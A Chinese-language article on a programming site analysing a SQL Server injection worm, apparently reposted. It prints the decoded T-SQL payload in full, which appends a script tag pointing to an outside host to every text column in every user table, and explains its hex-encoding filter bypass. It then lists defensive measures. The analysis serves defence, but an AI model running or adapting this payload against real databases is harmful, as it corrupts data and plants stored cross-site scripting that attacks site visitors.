首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

一個 MS SQL 蠕蟲代碼分析:十六進位注入與惡意腳本植入

     編輯:關於SqlServer

作者 ha0k 發布一段經十六進位編碼的 SQL 注入攻擊代碼,解碼後為一段 T-SQL 腳本,利用游標遍歷所有使用者資料表的文字型欄位,在每個欄位值尾部植入惡意 JavaScript 代碼 (<script src="https://hi.baidu.com/ha0k.js"></script>),導致前端頁面載入時執行外部腳本。

攻擊代碼還原 (解碼後)

DECLARE @T VARCHAR(255), @C VARCHAR(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id
  AND a.xtype = 'U'          -- 使用者資料表
  AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); -- ntext, text, sysname, varchar

OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;

WHILE (@@FETCH_STATUS = 0)
BEGIN
    EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="https://hi.baidu.com/ha0k.js"></script>''');
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
END

CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

攻擊特徵分析

  • 十六進位編碼繞過過濾:將惡意 T-SQL 轉為 0x440045... 透過 CAST(... AS NVARCHAR(4000)) 還原執行,繞過關鍵字過濾。
  • 系統表枚舉:查詢 sysobjects、syscolumns 定位所有使用者表的文字欄位。
  • 游標逐行更新:對每個符合條件的欄位追加惡意腳本標籤。
  • 持久化驻留:資料被污染後,前端直接讀取資料庫內容即中招,屬存儲型 XSS (Stored XSS) 前置攻擊。

防禦建議

  1. 嚴格參數化查詢,禁止動態拼接 SQL
  2. 資料庫帳號最小權限:Web 應用帳號僅擁有 SELECT/INSERT/UPDATE/DELETE,無 EXEC、CREATE、ALTER 權限
  3. 輸入驗證與輸出編碼:前端輸出資料庫內容時進行 HTML 編碼
  4. 監控異常 UPDATE 大量文字欄位的行為
  5. 定期掃描資料庫中可疑腳本標籤

此代碼屬惡意攻擊樣本,僅供安全研究與防禦參考,嚴禁用於非法用途。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved